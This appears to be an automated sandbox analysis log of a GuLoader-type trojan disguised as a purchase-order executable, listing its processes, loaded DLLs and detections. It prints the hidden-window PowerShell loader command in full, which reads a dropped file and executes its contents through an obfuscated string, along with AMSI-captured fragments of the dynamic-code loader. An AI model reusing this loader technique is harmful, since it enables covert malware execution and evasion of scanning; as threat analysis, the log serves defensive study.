Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7C7C0	14_2_1FD7C7C0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA4750	14_2_1FDA4750
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD80770	14_2_1FD80770
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9C6E0	14_2_1FD9C6E0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE40591	14_2_1FE40591
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD80535	14_2_1FD80535
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2E4F6	14_2_1FE2E4F6
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE32446	14_2_1FE32446
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE24420	14_2_1FE24420
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE403E6	14_2_1FE403E6
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD8E3F0	14_2_1FD8E3F0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3A352	14_2_1FE3A352
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE002C0	14_2_1FE002C0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE20274	14_2_1FE20274
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE381CC	14_2_1FE381CC
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE341A2	14_2_1FE341A2
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE401AA	14_2_1FE401AA
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE08158	14_2_1FE08158
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD70100	14_2_1FD70100
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1A118	14_2_1FE1A118
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE12000	14_2_1FE12000

Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: String function: 1FD6B970 appears 280 times
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: String function: 1FDFF290 appears 105 times
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: String function: 1FDEEA12 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: String function: 1FDB5130 appears 58 times
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: String function: 1FDC7E54 appears 111 times

Source: PO. A-72 9234567.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/17@0/2

Source: C:\Users\user\Desktop\PO. A-72 9234567.exe

0_2_0040351C

Source: C:\Users\user\Desktop\PO. A-72 9234567.exe

Code function: 0_2_004049B1 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004049B1

Source: C:\Users\user\Desktop\PO. A-72 9234567.exe

Code function: 0_2_004021CF CoCreateInstance,

0_2_004021CF

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4048:120:WilError_03

Source: C:\Users\user\Desktop\PO. A-72 9234567.exe

File created: C:\Users\user\AppData\Local\Temp\nsuBA6A.tmp

Source: PO. A-72 9234567.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process

Source: C:\Users\user\Desktop\PO. A-72 9234567.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\PO. A-72 9234567.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: PO. A-72 9234567.exe

ReversingLabs: Detection: 21%

Source: C:\Users\user\Desktop\PO. A-72 9234567.exe

File read: C:\Users\user\Desktop\PO. A-72 9234567.exe

Source: unknown	Process created: C:\Users\user\Desktop\PO. A-72 9234567.exe "C:\Users\user\Desktop\PO. A-72 9234567.exe"
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Forvaltningslovens=gc -raw 'C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\Sttemder73.Uns';$Passagerskibe=$Forvaltningslovens.SubString(72100,3);.$Passagerskibe($Forvaltningslovens)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe "C:\Users\user\AppData\Local\Temp\Notanencephalia.exe"
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Forvaltningslovens=gc -raw 'C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\Sttemder73.Uns';$Passagerskibe=$Forvaltningslovens.SubString(72100,3);.$Passagerskibe($Forvaltningslovens)	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe "C:\Users\user\AppData\Local\Temp\Notanencephalia.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Section loaded: srvcli.dll	Jump to behavior

Source: C:\Users\user\Desktop\PO. A-72 9234567.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Found suspicious powershell code related to unpacking or dynamic code loading

Source: PO. A-72 9234567.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: wntdll.pdbUGP source: Notanencephalia.exe, 0000000E.00000002.3372478984.000000001FD40000.00000040.00001000.00020000.00000000.sdmp, Notanencephalia.exe, 0000000E.00000002.3372478984.000000001FEDE000.00000040.00001000.00020000.00000000.sdmp, Notanencephalia.exe, 0000000E.00000003.3314246777.000000001F9D7000.00000004.00000020.00020000.00000000.sdmp, Notanencephalia.exe, 0000000E.00000003.3316271260.000000001FB8F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Notanencephalia.exe, Notanencephalia.exe, 0000000E.00000002.3372478984.000000001FD40000.00000040.00001000.00020000.00000000.sdmp, Notanencephalia.exe, 0000000E.00000002.3372478984.000000001FEDE000.00000040.00001000.00020000.00000000.sdmp, Notanencephalia.exe, 0000000E.00000003.3314246777.000000001F9D7000.00000004.00000020.00020000.00000000.sdmp, Notanencephalia.exe, 0000000E.00000003.3316271260.000000001FB8F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Core.pdb source: powershell.exe, 00000002.00000002.3112960418.0000000008A49000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb source: powershell.exe, 00000002.00000002.3097443257.0000000003079000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000002.00000002.3116482751.000000000AE52000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Systematizers $Naboberies79 $Inventarkontis), (Advokatfuldmgtig @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Impofo = [AppDomain]::CurrentDomain.GetAsse
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Hap)), $Justins140).DefineDynamicModule($Metwand, $false).DefineType($Bucerotidae, $Goodheartedness, [System.MulticastDelegate])$Meagr

Suspicious powershell command line found

Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Forvaltningslovens=gc -raw 'C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\Sttemder73.Uns';$Passagerskibe=$Forvaltningslovens.SubString(72100,3);.$Passagerskibe($Forvaltningslovens)
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Forvaltningslovens=gc -raw 'C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\Sttemder73.Uns';$Passagerskibe=$Forvaltningslovens.SubString(72100,3);.$Passagerskibe($Forvaltningslovens)			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04C9A5CF push eax; iretd	2_2_04C9A659
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04C9E9F9 push eax; mov dword ptr [esp], edx	2_2_04C9EA0C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_07B20FC4 push es; iretd	2_2_07B20FC7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0986058F push 8BD68B50h; retf	2_2_09860596
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD4135D push eax; iretd	14_2_1FD41369
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD709AD push ecx; mov dword ptr [esp], ecx	14_2_1FD709B6
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD4283D push eax; iretd	14_2_1FD42858
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD427FA pushad ; ret	14_2_1FD427F9
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD4225F pushad ; ret	14_2_1FD427F9

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
